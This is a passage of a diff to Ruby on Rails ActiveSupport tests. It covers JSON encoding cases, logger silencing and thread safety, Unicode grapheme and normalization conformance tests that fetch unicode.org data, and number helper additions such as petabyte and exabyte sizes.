:as_json_called + + def initialize(*) + super + end + + def as_json(options={}) + @as_json_called = true + super + end + end + def test_json_gem_dump_by_passing_active_support_encoder h = HashWithAsJson.new h[:foo] = "hello" @@ -485,6 +422,11 @@ EXPECTED assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(time) end + def test_exception_to_json + exception = Exception.new("foo") + assert_equal '"foo"', ActiveSupport::JSON.encode(exception) + end + protected def object_keys(json_object) diff --git a/activesupport/test/json/encoding_test_cases.rb b/activesupport/test/json/encoding_test_cases.rb new file mode 100644 index 0000000000..0159ba8606 --- /dev/null +++ b/activesupport/test/json/encoding_test_cases.rb @@ -0,0 +1,88 @@ +require 'bigdecimal' + +module JSONTest + class Foo + def initialize(a, b) + @a, @b = a, b + end + end + + class Hashlike + def to_hash + { :foo => "hello", :bar => "world" } + end + end + + class Custom + def initialize(serialized) + @serialized = serialized + end + + def as_json(options = nil) + @serialized + end + end + + class MyStruct < Struct.new(:name, :value) + def initialize(*) + @unused = "unused instance variable" + super + end + end + + module EncodingTestCases + TrueTests = [[ true, %(true) ]] + FalseTests = [[ false, %(false) ]] + NilTests = [[ nil, %(null) ]] + NumericTests = [[ 1, %(1) ], + [ 2.5, %(2.5) ], + [ 0.0/0.0, %(null) ], + [ 1.0/0.0, %(null) ], + [ -1.0/0.0, %(null) ], + [ BigDecimal('0.0')/BigDecimal('0.0'), %(null) ], + [ BigDecimal('2.5'), %("#{BigDecimal('2.5')}") ]] + + StringTests = [[ 'this is the <string>', %("this is the \\u003cstring\\u003e")], + [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ], + [ 'http://test.host/posts/1', %("http://test.host/posts/1")], + [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029", + %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]] + + ArrayTests = [[ ['a', 'b', 'c'], %([\"a\",\"b\",\"c\"]) ], + [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]] + + HashTests = [[ {foo: "bar"}, %({\"foo\":\"bar\"}) ], + [ {1 => 1, 2 => 'a', 3 => :b, 4 => nil, 5 => false}, %({\"1\":1,\"2\":\"a\",\"3\":\"b\",\"4\":null,\"5\":false}) ]] + + RangeTests = [[ 1..2, %("1..2")], + [ 1...2, %("1...2")], + [ 1.5..2.5, %("1.5..2.5")]] + + SymbolTests = [[ :a, %("a") ], + [ :this, %("this") ], + [ :"a b", %("a b") ]] + + ObjectTests = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]] + HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]] + StructTests = [[ MyStruct.new(:foo, "bar"), %({\"name\":\"foo\",\"value\":\"bar\"}) ], + [ MyStruct.new(nil, nil), %({\"name\":null,\"value\":null}) ]] + CustomTests = [[ Custom.new("custom"), '"custom"' ], + [ Custom.new(nil), 'null' ], + [ Custom.new(:a), '"a"' ], + [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ], + [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ], + [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ], + [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]] + + RegexpTests = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']] + + DateTests = [[ Date.new(2005,2,1), %("2005/02/01") ]] + TimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]] + DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]] + + StandardDateTests = [[ Date.new(2005,2,1), %("2005-02-01") ]] + StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000Z") ]] + StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000+00:00") ]] + StandardStringTests = [[ 'this is the <string>', %("this is the <string>")]] + end +end diff --git a/activesupport/test/log_subscriber_test.rb b/activesupport/test/log_subscriber_test.rb index 2a0e8d20ed..998a6887c5 100644 --- a/activesupport/test/log_subscriber_test.rb +++ b/activesupport/test/log_subscriber_test.rb @@ -82,10 +82,11 @@ class SyncLogSubscriberTest < ActiveSupport::TestCase def test_does_not_send_the_event_if_logger_is_nil ActiveSupport::LogSubscriber.logger = nil - @log_subscriber.expects(:some_event).never - ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber - instrument "some_event.my_log_subscriber" - wait + assert_not_called(@log_subscriber, :some_event) do + ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber + instrument "some_event.my_log_subscriber" + wait + end end def test_does_not_fail_with_non_namespaced_events diff --git a/activesupport/test/logger_test.rb b/activesupport/test/logger_test.rb index d2801849ca..5a91420f1e 100644 --- a/activesupport/test/logger_test.rb +++ b/activesupport/test/logger_test.rb @@ -3,6 +3,7 @@ require 'multibyte_test_helpers' require 'stringio' require 'fileutils' require 'tempfile' +require 'concurrent/atomics' class LoggerTest < ActiveSupport::TestCase include MultibyteTestHelpers @@ -16,6 +17,14 @@ class LoggerTest < ActiveSupport::TestCase @logger = Logger.new(@output) end + def test_log_outputs_to + assert Logger.logger_outputs_to?(@logger, @output), "Expected logger_outputs_to? @output to return true but was false" + assert Logger.logger_outputs_to?(@logger, @output, STDOUT), "Expected logger_outputs_to? @output or STDOUT to return true but was false" + + assert_not Logger.logger_outputs_to?(@logger, STDOUT), "Expected logger_outputs_to? to STDOUT to return false, but was true" + assert_not Logger.logger_outputs_to?(@logger, STDOUT, STDERR), "Expected logger_outputs_to? to STDOUT or STDERR to return false, but was true" + end + def test_write_binary_data_to_existing_file t = Tempfile.new ['development', 'log'] t.binmode @@ -64,7 +73,7 @@ class LoggerTest < ActiveSupport::TestCase def test_should_not_log_debug_messages_when_log_level_is_info @logger.level = Logger::INFO @logger.add(Logger::DEBUG, @message) - assert ! @output.string.include?(@message) + assert_not @output.string.include?(@message) end def test_should_add_message_passed_as_block_when_using_add @@ -113,6 +122,7 @@ class LoggerTest < ActiveSupport::TestCase end def test_buffer_multibyte + @logger.level = Logger::INFO @logger.info(UNICODE_STRING) @logger.info(BYTE_STRING) assert @output.string.include?(UNICODE_STRING) @@ -120,14 +130,137 @@ class LoggerTest < ActiveSupport::TestCase byte_string.force_encoding("ASCII-8BIT") assert byte_string.include?(BYTE_STRING) end - + def test_silencing_everything_but_errors @logger.silence do @logger.debug "NOT THERE" @logger.error "THIS IS HERE" end - - assert !@output.string.include?("NOT THERE") + + assert_not @output.string.include?("NOT THERE") assert @output.string.include?("THIS IS HERE") end + + def test_logger_silencing_works_for_broadcast + another_output = StringIO.new + another_logger = Logger.new(another_output) + + @logger.extend Logger.broadcast(another_logger) + + @logger.debug "CORRECT DEBUG" + @logger.silence do + @logger.debug "FAILURE" + @logger.error "CORRECT ERROR" + end + + assert @output.string.include?("CORRECT DEBUG") + assert @output.string.include?("CORRECT ERROR") + assert_not @output.string.include?("FAILURE") + + assert another_output.string.include?("CORRECT DEBUG") + assert another_output.string.include?("CORRECT ERROR") + assert_not another_output.string.include?("FAILURE") + end + + def test_broadcast_silencing_does_not_break_plain_ruby_logger + another_output = StringIO.new + another_logger = ::Logger.new(another_output) + + @logger.extend Logger.broadcast(another_logger) + + @logger.debug "CORRECT DEBUG" + @logger.silence do + @logger.debug "FAILURE" + @logger.error "CORRECT ERROR" + end + + assert @output.string.include?("CORRECT DEBUG") + assert @output.string.include?("CORRECT ERROR") + assert_not @output.string.include?("FAILURE") + + assert another_output.string.include?("CORRECT DEBUG") + assert another_output.string.include?("CORRECT ERROR") + assert another_output.string.include?("FAILURE") + # We can't silence plain ruby Logger cause with thread safety + # but at least we don't break it + end + + def test_logger_level_per_object_thread_safety + logger1 = Logger.new(StringIO.new) + logger2 = Logger.new(StringIO.new) + + level = Logger::DEBUG + assert_equal level, logger1.level, "Expected level #{level_name(level)}, got #{level_name(logger1.level)}" + assert_equal level, logger2.level, "Expected level #{level_name(level)}, got #{level_name(logger2.level)}" + + logger1.level = Logger::ERROR + assert_equal level, logger2.level, "Expected level #{level_name(level)}, got #{level_name(logger2.level)}" + end + + def test_logger_level_main_thread_safety + @logger.level = Logger::INFO + assert_level(Logger::INFO) + + latch = Concurrent::CountDownLatch.new + latch2 = Concurrent::CountDownLatch.new + + t = Thread.new do + latch.wait + assert_level(Logger::INFO) + latch2.count_down + end + + @logger.silence(Logger::ERROR) do + assert_level(Logger::ERROR) + latch.count_down + latch2.wait + end + + t.join + end + + def test_logger_level_local_thread_safety + @logger.level = Logger::INFO + assert_level(Logger::INFO) + + thread_1_latch = Concurrent::CountDownLatch.new + thread_2_latch = Concurrent::CountDownLatch.new + + threads = (1..2).collect do |thread_number| + Thread.new do + # force thread 2 to wait until thread 1 is already in @logger.silence + thread_2_latch.wait if thread_number == 2 + + @logger.silence(Logger::ERROR) do + assert_level(Logger::ERROR) + @logger.silence(Logger::DEBUG) do + # allow thread 2 to finish but hold thread 1 + if thread_number == 1 + thread_2_latch.count_down + thread_1_latch.wait + end + assert_level(Logger::DEBUG) + end + end + + # allow thread 1 to finish + assert_level(Logger::INFO) + thread_1_latch.count_down if thread_number == 2 + end + end + + threads.each(&:join) + assert_level(Logger::INFO) + end + + private + def level_name(level) + ::Logger::Severity.constants.find do |severity| + Logger.const_get(severity) == level + end.to_s + end + + def assert_level(level) + assert_equal level, @logger.level, "Expected level #{level_name(level)}, got #{level_name(@logger.level)}" + end end diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb index 6c3519df9a..668d78492e 100644 --- a/activesupport/test/message_verifier_test.rb +++ b/activesupport/test/message_verifier_test.rb @@ -24,6 +24,7 @@ class MessageVerifierTest < ActiveSupport::TestCase data, hash = @verifier.generate(@data).split("--") assert !@verifier.valid_message?(nil) assert !@verifier.valid_message?("") + assert !@verifier.valid_message?("\xff") # invalid encoding assert !@verifier.valid_message?("#{data.reverse}--#{hash}") assert !@verifier.valid_message?("#{data}--#{hash.reverse}") assert !@verifier.valid_message?("purejunk") diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb index e1c4b705f8..c1e0b19248 100644 --- a/activesupport/test/multibyte_chars_test.rb +++ b/activesupport/test/multibyte_chars_test.rb @@ -413,12 +413,24 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase assert_equal 'ã«ã¡', @chars.slice!(1..2) end + def test_slice_bang_returns_nil_on_out_of_bound_arguments + assert_equal nil, @chars.mb_chars.slice!(9..10) + end + def test_slice_bang_removes_the_slice_from_the_receiver chars = 'úüù'.mb_chars chars.slice!(0,2) assert_equal 'ù', chars end + def test_slice_bang_returns_nil_and_does_not_modify_receiver_if_out_of_bounds + string = 'úüù' + chars = string.mb_chars + assert_nil chars.slice!(4, 5) + assert_equal 'úüù', chars + assert_equal 'úüù', string + end + def test_slice_should_throw_exceptions_on_invalid_arguments assert_raise(TypeError) { @chars.slice(2..3, 1) } assert_raise(TypeError) { @chars.slice(1, 2..3) } @@ -600,28 +612,54 @@ class MultibyteCharsExtrasTest < ActiveSupport::TestCase ['abc', 3], ['ã“ã«ã¡ã‚', 4], [[0x0924, 0x094D, 0x0930].pack('U*'), 2], + # GB3 [%w(cr lf), 1], + # GB4 + [%w(cr n), 2], + [%w(lf n), 2], + [%w(control n), 2], + [%w(cr extend), 2], + [%w(lf extend), 2], + [%w(control extend), 2], + # GB 5 + [%w(n cr), 2], + [%w(n lf), 2], + [%w(n control), 2], + [%w(extend cr), 2], + [%w(extend lf), 2], + [%w(extend control), 2], + # GB 6 [%w(l l), 1], [%w(l v), 1], [%w(l lv), 1], [%w(l lvt), 1], + # GB7 [%w(lv v), 1], [%w(lv t), 1], [%w(v v), 1], [%w(v t), 1], + # GB8 [%w(lvt t), 1], [%w(t t), 1], + # GB8a + [%w(r r), 1], + # GB9 [%w(n extend), 1], + # GB9a + [%w(n spacingmark), 1], + # GB10 [%w(n n), 2], + # Other [%w(n cr lf n), 3], - [%w(n l v t), 2] + [%w(n l v t), 2], + [%w(cr extend n), 3], ].each do |input, expected_length| if input.kind_of?(Array) str = string_from_classes(input) else str = input end - assert_equal expected_length, chars(str).grapheme_length + assert_equal expected_length, chars(str).grapheme_length, input.inspect end end @@ -686,7 +724,7 @@ class MultibyteCharsExtrasTest < ActiveSupport::TestCase # Characters from the character classes as described in UAX #29 character_from_class = { :l => 0x1100, :v => 0x1160, :t => 0x11A8, :lv => 0xAC00, :lvt => 0xAC01, :cr => 0x000D, :lf => 0x000A, - :extend => 0x094D, :n => 0x64 + :extend => 0x094D, :n => 0x64, :spacingmark => 0x0903, :r => 0x1F1E6, :control => 0x0001 } classes.collect do |k| character_from_class[k.intern] diff --git a/activesupport/test/multibyte_conformance_test.rb b/activesupport/test/multibyte_conformance_test.rb index d8704716e7..9fca47a985 100644 --- a/activesupport/test/multibyte_conformance_test.rb +++ b/activesupport/test/multibyte_conformance_test.rb @@ -1,4 +1,3 @@ - require 'abstract_unit' require 'multibyte_test_helpers' @@ -6,30 +5,30 @@ require 'fileutils' require 'open-uri' require 'tmpdir' -class Downloader - def self.download(from, to) - unless File.exist?(to) - unless File.exist?(File.dirname(to)) - system "mkdir -p #{File.dirname(to)}" - end - open(from) do |source| - File.open(to, 'w') do |target| - source.each_line do |l| - target.write l +class MultibyteConformanceTest < ActiveSupport::TestCase + class Downloader + def self.download(from, to) + unless File.exist?(to) + unless File.exist?(File.dirname(to)) + system "mkdir -p #{File.dirname(to)}" + end + open(from) do |source| + File.open(to, 'w') do |target| + source.each_line do |l| + target.write l + end end end end + true end - true end -end -class MultibyteConformanceTest < ActiveSupport::TestCase include MultibyteTestHelpers UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd" UNIDATA_FILE = '/NormalizationTest.txt' - CACHE_DIR = File.join(Dir.tmpdir, 'cache') + CACHE_DIR = "#{Dir.tmpdir}/cache/unicode_conformance" FileUtils.mkdir_p(CACHE_DIR) RUN_P = begin Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE) @@ -105,11 +104,8 @@ class MultibyteConformanceTest < ActiveSupport::TestCase protected def each_line_of_norm_tests(&block) - lines = 0 - max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile File.open(File.join(CACHE_DIR, UNIDATA_FILE), 'r') do | f | - until f.eof? || (max_test_lines > 38 and lines > max_test_lines) - lines += 1 + until f.eof? line = f.gets.chomp! next if (line.empty? || line =~ /^\#/) diff --git a/activesupport/test/multibyte_grapheme_break_conformance_test.rb b/activesupport/test/multibyte_grapheme_break_conformance_test.rb new file mode 100644 index 0000000000..6e2f02abed --- /dev/null +++ b/activesupport/test/multibyte_grapheme_break_conformance_test.rb @@ -0,0 +1,76 @@ +# encoding: utf-8 + +require 'abstract_unit' + +require 'fileutils' +require 'open-uri' +require 'tmpdir' + +class MultibyteGraphemeBreakConformanceTest < ActiveSupport::TestCase + class Downloader + def self.download(from, to) + unless File.exist?(to) + $stderr.puts "Downloading #{from} to #{to}" + unless File.exist?(File.dirname(to)) + system "mkdir -p #{File.dirname(to)}" + end + open(from) do |source| + File.open(to, 'w') do |target| + source.each_line do |l| + target.write l + end + end + end + end + end + end + + TEST_DATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd/auxiliary" + TEST_DATA_FILE = '/GraphemeBreakTest.txt' + CACHE_DIR = "#{Dir.tmpdir}/cache/unicode_conformance" + + def setup + FileUtils.mkdir_p(CACHE_DIR) + Downloader.download(TEST_DATA_URL + TEST_DATA_FILE, CACHE_DIR + TEST_DATA_FILE) + end + + def test_breaks + each_line_of_break_tests do |*cols| + *clusters, comment = *cols + packed = ActiveSupport::Multibyte::Unicode.pack_graphemes(clusters) + assert_equal clusters, ActiveSupport::Multibyte::Unicode.unpack_graphemes(packed), comment + end + end + + protected + def each_line_of_break_tests(&block) + lines = 0 + max_test_lines = 0 # Don't limit below 21, because that's the header of the testfile + File.open(File.join(CACHE_DIR, TEST_DATA_FILE), 'r') do | f | + until f.eof? || (max_test_lines > 21 and lines > max_test_lines) + lines += 1 + line = f.gets.chomp! + next if (line.empty? || line =~ /^\#/) + + cols, comment = line.split("#") + # Cluster breaks are represented by ÷ + clusters = cols.split("÷").map{|e| e.strip}.reject{|e| e.empty? } + clusters = clusters.map do |cluster| + # Codepoints within each cluster are separated by × + codepoints = cluster.split("×").map{|e| e.strip}.reject{|e| e.empty? } + # codepoints are in hex in the test suite, pack wants them as integers + codepoints.map{|codepoint| codepoint.to_i(16)} + end + + # The tests contain a solitary U+D800 <Non Private Use High + # Surrogate, First> character, which Ruby does not allow to stand + # alone in a UTF-8 string. So we'll just skip it. + next if clusters.flatten.include?(0xd800) + + clusters << comment.strip + + yield(*clusters) + end + end + end +end diff --git a/activesupport/test/multibyte_normalization_conformance_test.rb b/activesupport/test/multibyte_normalization_conformance_test.rb new file mode 100644 index 0000000000..0d31c9520f --- /dev/null +++ b/activesupport/test/multibyte_normalization_conformance_test.rb @@ -0,0 +1,129 @@ +# encoding: utf-8 + +require 'abstract_unit' +require 'multibyte_test_helpers' + +require 'fileutils' +require 'open-uri' +require 'tmpdir' + +class MultibyteNormalizationConformanceTest < ActiveSupport::TestCase + class Downloader + def self.download(from, to) + unless File.exist?(to) + $stderr.puts "Downloading #{from} to #{to}" + unless File.exist?(File.dirname(to)) + system "mkdir -p #{File.dirname(to)}" + end + open(from) do |source| + File.open(to, 'w') do |target| + source.each_line do |l| + target.write l + end + end + end + end + end + end + + include MultibyteTestHelpers + + UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd" + UNIDATA_FILE = '/NormalizationTest.txt' + CACHE_DIR = "#{Dir.tmpdir}/cache/unicode_conformance" + + def setup + FileUtils.mkdir_p(CACHE_DIR) + Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE) + @proxy = ActiveSupport::Multibyte::Chars + end + + def test_normalizations_C + each_line_of_norm_tests do |*cols| + col1, col2, col3, col4, col5, comment = *cols + + # CONFORMANCE: + # 1. The following invariants must be true for all conformant implementations + # + # NFC + # c2 == NFC(c1) == NFC(c2) == NFC(c3) + assert_equal_codepoints col2, @proxy.new(col1).normalize(:c), "Form C - Col 2 has to be NFC(1) - #{comment}" + assert_equal_codepoints col2, @proxy.new(col2).normalize(:c), "Form C - Col 2 has to be NFC(2) - #{comment}" + assert_equal_codepoints col2, @proxy.new(col3).normalize(:c), "Form C - Col 2 has to be NFC(3) - #{comment}" + # + # c4 == NFC(c4) == NFC(c5) + assert_equal_codepoints col4, @proxy.new(col4).normalize(:c), "Form C - Col 4 has to be C(4) - #{comment}" + assert_equal_codepoints col4, @proxy.new(col5).normalize(:c), "Form C - Col 4 has to be C(5) - #{comment}" + end + end + + def test_normalizations_D + each_line_of_norm_tests do |*cols| + col1, col2, col3, col4, col5, comment = *cols + # + # NFD + # c3 == NFD(c1) == NFD(c2) == NFD(c3) + assert_equal_codepoints col3, @proxy.new(col1).normalize(:d), "Form D - Col 3 has to be NFD(1) - #{comment}" + assert_equal_codepoints col3, @proxy.new(col2).normalize(:d), "Form D - Col 3 has to be NFD(2) - #{comment}" + assert_equal_codepoints col3, @proxy.new(col3).normalize(:d), "Form D - Col 3 has to be NFD(3) - #{comment}" + # c5 == NFD(c4) == NFD(c5) + assert_equal_codepoints col5, @proxy.new(col4).normalize(:d), "Form D - Col 5 has to be NFD(4) - #{comment}" + assert_equal_codepoints col5, @proxy.new(col5).normalize(:d), "Form D - Col 5 has to be NFD(5) - #{comment}" + end + end + + def test_normalizations_KC + each_line_of_norm_tests do | *cols | + col1, col2, col3, col4, col5, comment = *cols + # + # NFKC + # c4 == NFKC(c1) == NFKC(c2) == NFKC(c3) == NFKC(c4) == NFKC(c5) + assert_equal_codepoints col4, @proxy.new(col1).normalize(:kc), "Form D - Col 4 has to be NFKC(1) - #{comment}" + assert_equal_codepoints col4, @proxy.new(col2).normalize(:kc), "Form D - Col 4 has to be NFKC(2) - #{comment}" + assert_equal_codepoints col4, @proxy.new(col3).normalize(:kc), "Form D - Col 4 has to be NFKC(3) - #{comment}" + assert_equal_codepoints col4, @proxy.new(col4).normalize(:kc), "Form D - Col 4 has to be NFKC(4) - #{comment}" + assert_equal_codepoints col4, @proxy.new(col5).normalize(:kc), "Form D - Col 4 has to be NFKC(5) - #{comment}" + end + end + + def test_normalizations_KD + each_line_of_norm_tests do | *cols | + col1, col2, col3, col4, col5, comment = *cols + # + # NFKD + # c5 == NFKD(c1) == NFKD(c2) == NFKD(c3) == NFKD(c4) == NFKD(c5) + assert_equal_codepoints col5, @proxy.new(col1).normalize(:kd), "Form KD - Col 5 has to be NFKD(1) - #{comment}" + assert_equal_codepoints col5, @proxy.new(col2).normalize(:kd), "Form KD - Col 5 has to be NFKD(2) - #{comment}" + assert_equal_codepoints col5, @proxy.new(col3).normalize(:kd), "Form KD - Col 5 has to be NFKD(3) - #{comment}" + assert_equal_codepoints col5, @proxy.new(col4).normalize(:kd), "Form KD - Col 5 has to be NFKD(4) - #{comment}" + assert_equal_codepoints col5, @proxy.new(col5).normalize(:kd), "Form KD - Col 5 has to be NFKD(5) - #{comment}" + end + end + + protected + def each_line_of_norm_tests(&block) + lines = 0 + max_test_lines = 0 # Don't limit below 38, because that's the header of the testfile + File.open(File.join(CACHE_DIR, UNIDATA_FILE), 'r') do | f | + until f.eof? || (max_test_lines > 38 and lines > max_test_lines) + lines += 1 + line = f.gets.chomp! + next if (line.empty? || line =~ /^\#/) + + cols, comment = line.split("#") + cols = cols.split(";").map{|e| e.strip}.reject{|e| e.empty? } + next unless cols.length == 5 + + # codepoints are in hex in the test suite, pack wants them as integers + cols.map!{|c| c.split.map{|codepoint| codepoint.to_i(16)}.pack("U*") } + cols << comment + + yield(*cols) + end + end + end + + def inspect_codepoints(str) + str.to_s.unpack("U*").map{|cp| cp.to_s(16) }.join(' ') + end +end diff --git a/activesupport/test/multibyte_proxy_test.rb b/activesupport/test/multibyte_proxy_test.rb index 11f5374017..360cf57302 100644 --- a/activesupport/test/multibyte_proxy_test.rb +++ b/activesupport/test/multibyte_proxy_test.rb @@ -1,4 +1,3 @@ - require 'abstract_unit' class MultibyteProxyText < ActiveSupport::TestCase diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb index 2e4b5cc873..58cf5488cd 100644 --- a/activesupport/test/multibyte_test_helpers.rb +++ b/activesupport/test/multibyte_test_helpers.rb @@ -1,4 +1,3 @@ - module MultibyteTestHelpers UNICODE_STRING = 'ã“ã«ã¡ã‚'.freeze ASCII_STRING = 'ohayo'.freeze diff --git a/activesupport/test/multibyte_unicode_database_test.rb b/activesupport/test/multibyte_unicode_database_test.rb index 52ae266f01..dd33641ec2 100644 --- a/activesupport/test/multibyte_unicode_database_test.rb +++ b/activesupport/test/multibyte_unicode_database_test.rb @@ -11,8 +11,9 @@ class MultibyteUnicodeDatabaseTest < ActiveSupport::TestCase UnicodeDatabase::ATTRIBUTES.each do |attribute| define_method "test_lazy_loading_on_attribute_access_of_#{attribute}" do - @ucd.expects(:load) - @ucd.send(attribute) + assert_called(@ucd, :load) do + @ucd.send(attribute) + end end end diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb index f729f0a95b..1cb17e6197 100644 --- a/activesupport/test/notifications_test.rb +++ b/activesupport/test/notifications_test.rb @@ -42,6 +42,21 @@ module Notifications ActiveSupport::Notifications.instrument(name) assert_equal expected, events end + + def test_subsribing_to_instrumentation_while_inside_it + # the repro requires that there are no evented subscribers for the "foo" event, + # so we have to duplicate some of the setup code + old_notifier = ActiveSupport::Notifications.notifier + ActiveSupport::Notifications.notifier = ActiveSupport::Notifications::Fanout.new + + ActiveSupport::Notifications.subscribe('foo', TestSubscriber.new) + + ActiveSupport::Notifications.instrument('foo') do + ActiveSupport::Notifications.subscribe('foo') {} + end + ensure + ActiveSupport::Notifications.notifier = old_notifier + end end class UnsubscribeTest < TestCase @@ -217,7 +232,7 @@ module Notifications assert_equal 1, @events.size assert_equal Hash[:payload => "notifications", - :exception => ["RuntimeError", "FAIL"]], @events.last.payload + :exception => ["RuntimeError", "FAIL"], :exception_object => e], @events.last.payload end def test_event_is_pushed_even_without_block diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb index 83efbffdfb..074c872efc 100644 --- a/activesupport/test/number_helper_test.rb +++ b/activesupport/test/number_helper_test.rb @@ -34,6 +34,14 @@ module ActiveSupport gigabytes(number) * 1024 end + def petabytes(number) + terabytes(number) * 1024 + end + + def exabytes(number) + petabytes(number) * 1024 + end + def test_number_to_phone [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper| assert_equal("555-1234", number_helper.number_to_phone(5551234)) @@ -49,6 +57,8 @@ module ActiveSupport assert_equal("+18005551212", number_helper.number_to_phone(8005551212, :country_code => 1, :delimiter => '')) assert_equal("22-555-1212", number_helper.number_to_phone(225551212)) assert_equal("+45-22-555-1212", number_helper.number_to_phone(225551212, :country_code => 45)) + assert_equal("(755) 6123-4567", number_helper.number_to_phone(75561234567, pattern: /(\d{3,4})(\d{4})(\d{4})/, area_code: true)) + assert_equal("133-1234-5678", number_helper.number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})/)) end end @@ -66,7 +76,6 @@ module ActiveSupport assert_equal("1,234,567,890.50 Kč", number_helper.number_to_currency("1234567890.50", {:unit => "Kč", :format => "%n %u"})) assert_equal("1,234,567,890.50 - Kč", number_helper.number_to_currency("-1234567890.50", {:unit => "Kč", :format => "%n %u", :negative_format => "%n - %u"})) assert_equal("0.00", number_helper.number_to_currency(+0.0, {:unit => "", :negative_format => "(%n)"})) - assert_equal("(0.00)", number_helper.number_to_currency(-0.0, {:unit => "", :negative_format => "(%n)"})) end end @@ -106,6 +115,7 @@ module ActiveSupport assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901)) assert_equal("0.78901", number_helper.number_to_delimited(0.78901)) assert_equal("123,456.78", number_helper.number_to_delimited("123456.78")) + assert_equal("1,23,456.78", number_helper.number_to_delimited("123456.78", delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)) assert_equal("123,456.78", number_helper.number_to_delimited("123456.78".html_safe)) end end @@ -218,7 +228,9 @@ module ActiveSupport assert_equal '1.18 MB', number_helper.number_to_human_size(1234567) assert_equal '1.15 GB', number_helper.number_to_human_size(1234567890) assert_equal '1.12 TB', number_helper.number_to_human_size(1234567890123) - assert_equal '1030 TB', number_helper.number_to_human_size(terabytes(1026)) + assert_equal '1.1 PB', number_helper.number_to_human_size(1234567890123456) + assert_equal '1.07 EB', number_helper.number_to_human_size(1234567890123456789) + assert_equal '1030 EB', number_helper.number_to_human_size(exabytes(1026)) assert_equal '444 KB', number_helper.number_to_human_size(kilobytes(444)) assert_equal '1020 MB', number_helper.number_to_human_size(megabytes(1023)) assert_equal '3 TB', number_helper.number_to_human_size(terabytes(3)) @@ -234,15 +246,19 @@ module ActiveSupport end def test_number_to_human_size_with_si_prefix - [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper| - assert_equal '3 Bytes', number_helper.number_to_human_size(3.14159265, :prefix => :si) - assert_equal '123 Bytes', number_helper.number_to_human_size(123.0, :prefix => :si) - assert_equal '123 Bytes', number_helper.number_to_human_size(123, :prefix => :si) - assert_equal '1.23 KB', number_helper.number_to_human_size(1234, :prefix => :si) - assert_equal '12.3 KB', number_helper.number_to_human_size(12345, :prefix => :si) - assert_equal '1.23 MB', number_helper.number_to_human_size(1234567, :prefix => :si) - assert_equal '1.23 GB', number_helper.number_to_human_size(1234567890, :prefix => :si) - assert_equal '1.23 TB', number_helper.number_to_human_size(1234567890123, :prefix => :si) + assert_deprecated do + [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper| + assert_equal '3 Bytes', number_helper.number_to_human_size(3.14159265, :prefix => :si) + assert_equal '123 Bytes', number_helper.number_to_human_size(123.0, :prefix => :si) + assert_equal '123 Bytes', number_helper.number_to_human_size(123, :prefix => :si) + assert_equal '1.23 KB', number_helper.number_to_human_size(1234, :prefix => :si) + assert_equal '12.3 KB', number_helper.number_to_human_size(12345, :prefix => :si) + assert_equal '1.23 MB', number_helper.number_to_human_size(1234567, :prefix => :si) + assert_equal '1.23 GB', number_helper.number_to_human_size(1234567890, :prefix => :si) + assert_equal '1.23 TB', number_helper.number_to_human_size(1234567890123, :prefix => :si) + assert_equal '1.23 PB', number_helper.number_to_human_size(1234567890123456, :prefix => :si) + assert_equal '1.23 EB', number_helper.number_to_human_size(1234567890123456789, :prefix => :si) + end end end @@ -293,6 +309,8 @@ module ActiveSupport assert_equal '1.2346 Million', number_helper.number_to_human(1234567, :precision => 4, :significant => false) assert_equal '1,2 Million', number_helper.number_to_human(1234567, 